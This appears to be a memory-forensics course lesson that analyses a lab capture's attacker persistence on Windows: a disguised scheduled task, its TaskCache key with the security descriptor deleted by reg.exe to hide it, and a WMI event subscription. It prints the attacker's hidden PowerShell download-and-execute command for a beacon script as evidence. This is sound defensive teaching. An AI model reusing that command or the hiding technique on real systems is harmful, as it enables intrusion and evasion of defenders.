In this section

Persistence in Memory Forensics: Scheduled Tasks, TaskCache, svcscan and WMI Subscriptions

Module 0

Introduction

An attacker's session lives in memory and dies with a reboot. Persistence is what they install to come back: something Windows itself will run again later, at logon, at startup or on a timer, which starts the attacker's code without their help.

Finding persistence is how an investigation decides whether cleaning one host is enough, and memory is often where it is clearest, because the mechanisms are loaded and in use before anything on disk is checked. It also catches persistence in the window this capture shows: installed, not yet used, with the machine not yet rebooted, when the disk may hold the mechanism but nothing has run it.

The footholda session inexplorer.exeinstallsA scheduled taskat logon, runsPowerShellandA WMI subscriptionon a timer afterstartupsoAfter a rebootthe sessioncomes back

Persistence turns a session that dies with a reboot into one that returns. This capture holds two mechanisms installed for that purpose.

This lesson reads the course's persistence capture, NE-ENG-031-persistence, taken at 13:31 on 18 March, about seven minutes after an attacker with a session in explorer.exe created a scheduled task and a WMI event subscription, and three minutes after a registry edit meant to hide the task.

No reboot had happened. The lesson covers the task, its registry keys and what is missing from them, the tool that removed it, the services that hold both mechanisms, and the subscription read from the WMI service's memory. Module 5 teaches each mechanism in depth.

The capture's timing is what makes it useful. Persistence is easiest to read in the window between installation and first use: the mechanisms are registered, the tools that installed them have only just exited, and nothing has yet run that would add noise or overwrite the traces.

An image taken after a reboot would still show the task and the subscription, but the reg.exe that edited the key would almost certainly be gone, and with it the link between the edit and the moment it happened.

01

What Is Scheduled

The task list, read from memory

windows.registry.scheduled_tasks reads the tasks Windows has registered from the registry as it is held in memory. The columns that matter first are the task's name, the account it runs as, when it was created, what triggers it and what kind of action it takes. Three rows:

$ vol -f NE-ENG-031-persistence.raw windows.registry.scheduled_tasks \
    | cut -f1,2,5,8,10 | grep -e Name -e Helper -e Edge | cut -c1-84
Progress:  100.00		PDB scanning finished
Task Name	Principal ID	Creation Time	Trigger Type	Action Type
Windows Update Helper	Author	2026-03-18 13:24:10.000000 UTC	Logon	Exe
MicrosoftEdgeUpdateTaskMachineCore{FF85DEB6-49F3-49B2-A48D-3C04E015FBAE}	SYSTEM	-	Lo
MicrosoftEdgeUpdateTaskMachineUA{DE4D9C64-0118-4082-A4DA-AD4E38AC4DC5}	SYSTEM	-	Time

Two are Microsoft Edge's updaters, with a GUID in their names (cut short here to fit the page), running as SYSTEM, one at logon and one on a timer. The third is called Windows Update Helper, a name chosen to look like part of Windows. It was created at 13:24:10 on the day of the capture, its principal is recorded as Author, and it runs at logon. Its action:

$ vol -f NE-ENG-031-persistence.raw windows.registry.scheduled_tasks | grep Helper \
    | cut -f11,12 | cut -c1-84
Progress:  100.00		PDB scanning finished
powershell	-ep bypass -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('ht

An executable, powershell, with arguments that set the execution policy to bypass, hide the window, and download and run a script from 10.5.0.20, the same address lesson 0.5's fileless attack used. Every time a user logs on, this task would fetch the attacker's beacon script and run it.

The address matters beyond this host: it is the same infrastructure, so every other machine that has contacted 10.5.0.20 is now a candidate for the same persistence, and the scope of the investigation grows from one host to every host on that list.

Read that row the way lesson 0.2 read the process list. The name is a claim. The creation time, minutes before the capture, the principal, the trigger and the action are the evidence, and none of them fits a Windows component.

There is a practical reason to read tasks from memory rather than asking the running system. A live response tool that lists tasks asks Windows, and Windows answers from the same data the attacker has just edited. A plugin that reads the registry structures in the image walks them itself.

When the two disagree, the image is the one the attacker did not get to answer for. The Edge tasks beside it run as SYSTEM on a schedule and were registered long before the incident; this one runs a one-line download.

02

What Is Missing From Its Key

The registry behind the task

Each task has keys in the SOFTWARE hive under the Schedule TaskCache. printkey reads a key and its values from the hive as it is held in memory, and the hive's offset limits the search to SOFTWARE rather than every hive. The task's key in the Tree branch:

$ vol -f NE-ENG-031-persistence.raw windows.registry.printkey --offset \
    0xd187c27cc000 --key \
    "Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\Windows Update Helper" \
    | cut -f1,5,6
Progress:  100.00		PDB scanning finished
Volatility 3 Framework 2.28.2

Last Write Time	Name	Data

2026-03-18 13:28:15.000000 UTC	Id	{3F2A8C14-7B9E-4D61-A0C5-92E4B7F31D08}
2026-03-18 13:28:15.000000 UTC	Index	3

Two values: Id, the task's GUID, which links this key to the rest of the task's definition, and Index. The first column is the key's last write time: 13:28:15, the moment the key was last changed, four minutes after the task was created.

The same read on one of Edge's tasks, whose key in the same branch was last written on 1 December 2025, returns three values rather than two. The Edge task's key has a third value, SD, which holds the task's security descriptor: the permissions that say who may see and change it. The attacker's task has none.

Two TaskCache Tree keys, compared

Something was deleted

Windows Update Helper

values Id and Index

MicrosoftEdgeUpdateTaskMachineCore

values SD, Id and Index

Missing

SD, the task's security descriptor

Removed by

reg.exe, 13:28:15, exited

Why it matters

An ordinary task's key carries its security descriptor. A key without one, beside a reg.exe that ran and exited a minute later, is a deliberate edit, and Module 5 reads what it was for.

A missing value is a strange thing to find in an otherwise complete key, and it is a finding precisely because ordinary tasks have it. It also does not depend on recognizing the task's name or action: a check of every Tree key for a missing SD value finds this task whatever it is called, which makes it a check worth running on every image.

Module 5 shows what removing it does, with its sources: without its security descriptor, the task stops appearing in Windows' own tools for listing tasks while it stays registered to run. A defender who checks the task list with those tools sees nothing. A memory image, read with a plugin that walks the registry rather than asking Windows, lists it anyway, which is what the first section showed.

The key's last write time is a second piece of evidence, independent of the missing value. The task was created at 13:24:10; its Tree key was last changed at 13:28:15. A key that changes four minutes after it was created was edited, and the edit coincides with the next section's process to the second.

03

The Tool That Did It

reg.exe, found by the scan

Deleting a registry value takes a program, and the program ran on this host:

$ vol -f NE-ENG-031-persistence.raw windows.psscan | grep -E "PID|reg.exe" \
    | cut -f1-3,9,10
Progress:  100.00		PDB scanning finished
PID	PPID	ImageFileName	CreateTime	ExitTime
7104	6612	reg.exe	2026-03-18 13:28:15.000000 UTC	2026-03-18 13:28:15.000000 UTC

reg.exe, the command-line registry editor, created and exited in the same second, 13:28:15, the same second as the task key's last write time: started, did one thing and left. It is not in the process list, only in the scan, with an exit time, which is the pattern lesson 0.2 taught. Its parent, PID 6612, is the shell the attacker ran it from.

The time places it in the sequence. The task was created at 13:24:10; reg.exe ran at 13:28:15; the capture's clock reads 13:31:02. The deletion came four minutes after the task, which fits an attacker who installed persistence and then went back to hide it, and it is three minutes old at the capture.

A process structure that old is still in memory on a quiet workstation; on a busy one, it might already have been overwritten.

reg.exe's command line went with its memory, so the image cannot say which value it deleted. Nor can it say which key: the editor could have touched any key in any hive, and the only link between it and this task is the second they share.

That is the point where the evidence has to be combined: a missing SD value on one task, an ordinary SD value on others, and a registry editor that ran once between the task's creation and the capture. None of the three proves the deletion alone. Together, with the times in order, they make it the explanation that fits.

That style of reasoning, combining a missing thing, a time and a tool, recurs throughout memory forensics, because attackers who hide something usually leave the act of hiding as the trace.

Removing a value leaves a key with a fresh write time; killing a process leaves an exit time; deleting a file leaves a handle or a cached copy. The cover-up is often easier to find than the thing it covered. Here, the cover-up produced two of the four pieces of evidence the lesson has used so far.

The general rule for writing this up is to say exactly that. Observed: the task's key lacks an SD value its neighbors have; the key was last written at 13:28:15; reg.exe ran at 13:28:15. Inferred, with high confidence: reg.exe removed the SD value to hide the task. The inference is strong because three independent records agree to the second, and a reader can check each of them.

04

Services That Hold Persistence

Task Scheduler and WMI

Both mechanisms in this capture are run by Windows services, and windows.svcscan lists the services with the process that hosts each:

$ vol -f NE-ENG-031-persistence.raw windows.svcscan \
    | grep -E "PID|Winmgmt|Schedule" | cut -f3,4,7
Progress:  100.00		PDB scanning finished
PID	Start	Name
2736	SERVICE_AUTO_START	Schedule
8096	SERVICE_AUTO_START	Winmgmt

Schedule, the Task Scheduler service, runs in PID 2736; Winmgmt, the WMI service, in PID 8096. Each has its own PID, so each can be dumped on its own. Both are ordinary, auto-start services present on every Windows machine. What they hold in memory is what makes them interesting here: each keeps its own working copy of the persistence it manages.

The Task Scheduler's process, dumped whole and searched for the task's name and its download, holds both:

$ vol -q -o ./dump/ -f NE-ENG-031-persistence.raw windows.memmap --pid 2736 --dump \
    > /dev/null
$ strings -e l dump/pid.2736.dmp | grep -e "Update Helper" -e beacon.ps1 \
    | cut -c1-80
\Windows Update Helper
-ep bypass -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://10

The task's path under the root folder and its arguments are in the service's memory, because the service has loaded the task to run it at the next logon.

That copy does not depend on the registry key being intact, or on the task's file in the tasks folder on disk, which is one reason Module 5 reads persistence from memory first: an attacker who tampers with what the disk shows has not necessarily tampered with what the service holds.

The opposite also holds: a task added to the registry and the disk after the service last loaded its tasks may not be in the service's memory yet. Reading both, and noting where they differ, is more informative than either alone.

Service memory is also where the course's other persistence evidence ends up. A service that has loaded a task or a subscription holds the version it will act on, which is the version that matters for what happens at the next logon or startup. If the disk and the service disagree, the service's copy says what was about to run.

05

WMI

A subscription with no process of its own

A WMI event subscription has three parts in Windows' management repository: a filter, which is a query describing an event to wait for; a consumer, which says what to do when it happens; and a binding between them. When the event occurs, the WMI service runs the consumer. Nothing runs in the meantime, so a subscription has no process of its own to find in the process list.

That is what makes subscriptions attractive to attackers: there is no new program to notice, no service entry and no task, only data in a repository most administrators never read. It also makes them easy to miss in a response that looks only at processes, services and tasks, which is the usual first pass on a live host.

The repository's files are on disk, and the file scan shows the WMI service has them open:

$ vol -f NE-ENG-031-persistence.raw windows.filescan | grep -i wbem.Repository \
    | cut -f2
Progress:  100.00		PDB scanning finished
\Windows\System32\wbem\Repository\INDEX.BTR
\Windows\System32\wbem\Repository\MAPPING2.MAP
\Windows\System32\wbem\Repository\MAPPING1.MAP
\Windows\System32\wbem\Repository\OBJECTS.DATA
\Windows\System32\wbem\Repository\MAPPING3.MAP

OBJECTS.DATA is where the repository keeps its objects, and Module 5 reads it. The quicker route is the service that uses it. Dumping the WMI service's memory and searching for the names and the download:

$ vol -q -o ./dump/ -f NE-ENG-031-persistence.raw windows.memmap --pid 8096 --dump \
    > /dev/null
$ strings -e l dump/pid.8096.dmp | grep -e SystemStartup -e beacon.ps1 | cut -c1-80
SystemStartupFilter
SystemStartupConsumer
powershell -ep bypass -w hidden -c "IEX(New-Object Net.WebClient).DownloadString

A filter called SystemStartupFilter, a consumer called SystemStartupConsumer, and a command line that runs PowerShell hidden and downloads the same beacon script as the task. The names are chosen to look routine. The command is the same as the scheduled task's: two mechanisms, two different triggers, one payload.

That repetition is typical of an attacker who wants to survive a partial clean-up. Remove the task and the subscription still fires; remove the subscription and the task still runs at logon. An investigation that finds one mechanism and stops leaves the other in place, which is why Module 5's hunt asks for every mechanism on the host, not the first.

The subscription's trigger is a query, which Module 5 decodes from the repository: the filter's name suggests startup, and the module shows what the query actually waits for. A name is a claim here as everywhere else. Between a task at logon and a subscription with its own trigger, the attacker's script has two independent ways to run again, and either one alone is enough to bring the session back.

06

What Module 5 Builds On It

Persistence in depth

Module 5 treats persistence as an attacker's investment: what each mechanism costs to install, what it survives, and what it leaves.

It covers scheduled tasks and WMI subscriptions in depth, installs both in the course lab and captures the result before a reboot, analyzes the task and the subscription from memory, reads the registry as memory holds it, and ends with a hunt on another host where a task's definition was deleted and a WMI subscription borrows names from Windows' own components.

1. List what is scheduledscheduled_tasks: names, triggers, actions2. Read each task's keysprintkey on TaskCache: what is there and what is missing3. Find the tools that did itpsscan for exited reg.exe, schtasks.exe and the like4. Read the services' memoryTask Scheduler and WMI hold their own copies5. Compare with the disk laterwhat memory has that a tampered disk lacks

Reading persistence from a memory image, in the order Module 5 takes it.

Module 5's own lessons are arranged in roughly the same order, from the mechanisms to the capture to the analysis:

What Module 5 builds

Module 5

5.1 to 5.3

persistence as investment; tasks; WMI subscriptions

5.4 to 5.5

install both and capture

5.6 to 5.7

analyze the task and the subscription

5.8 to 5.9

the registry in memory; the hunt

The module also reads the registry in memory more broadly, because most persistence on Windows ends up as registry data of one kind or another: run keys, services, tasks and the many less common autostart locations.

The same printkey reads used here, with a hive's offset and a key's path, are how each of them is checked, and the same comparison of last write times against process times ties each change to whatever made it.

The order in the figure is the order this lesson followed, and it matters because each step can catch what the previous one missed. The plugin's task list catches a task hidden from Windows' own tools. The registry read catches what was edited. The scan catches the tool that edited it. The services' memory catches the mechanisms that never show as processes.

The habit to carry into the module is to treat persistence as a list to complete rather than a thing to find. Attackers rarely install only one mechanism when two cost them a few extra minutes, and the second is usually chosen to survive whatever would remove the first.

Every mechanism on the host goes on it, with the evidence for each, and the clean-up is planned from the complete list. A clean-up that removes one mechanism at a time, as each is found, risks warning an attacker who is still connected and gives them time to install another.

Finding everything first, from one image, and removing it all at once is the safer order, and memory makes that possible because it holds the mechanisms that were loaded and the tools that installed them in one place.

Do

Practice

Find what brings the attacker back
prepared evidence

The prepared evidence below is the first rows of this image's scheduled tasks and four other pieces of evidence about the task and the WMI subscription. Find the task that does not belong, the evidence that something was removed to hide it, and where the subscription can be read. Each answer comes with its reasoning, so check it against the rows rather than only the choice.

For the second question, think about which pieces of evidence would still be convincing if the others were missing, and which need each other. The answer is not a single row, and part of the exercise is choosing which rows together make the case and which belong to a different question.

The task list holds twenty-four tasks on this host and twenty-three in the baseline; the tab shows the first rows only, and the one that matters is among them. In the range, the baseline's WMI service runs under a different PID, so look it up with svcscan before dumping it.

Treat every name in the task tab the same way you treated the process names in lesson 0.2: as claims to test against the creation time, the principal, the trigger and the action, in that order, every single time you read one.

In the range, run scheduled_tasks on the baseline capture of the same host and compare the lists, row by row, before reading any key.

Every task that is in the persistence capture and not in the baseline is a question, and on this host there is exactly one. Then search the WMI service's memory in the baseline for the same filter and consumer names; finding nothing there is the comparison that makes the subscription a finding rather than a curiosity.

A filter and consumer with these names in the baseline would mean they predate the incident, which would change the story entirely; their absence there is what dates them to the attack.

Persistence is what an attacker installs to come back after a reboot.

In memory, a plugin that reads the registry lists a scheduled task even when Windows' own tools would not; the task's key shows what was removed to hide it; the scan finds the tool that removed it; and the services that run tasks and WMI subscriptions hold their own copies, which is where a subscription with no process of its own can be read.

Every mechanism goes on one list, with its evidence.

The next lesson goes below the processes, into the kernel.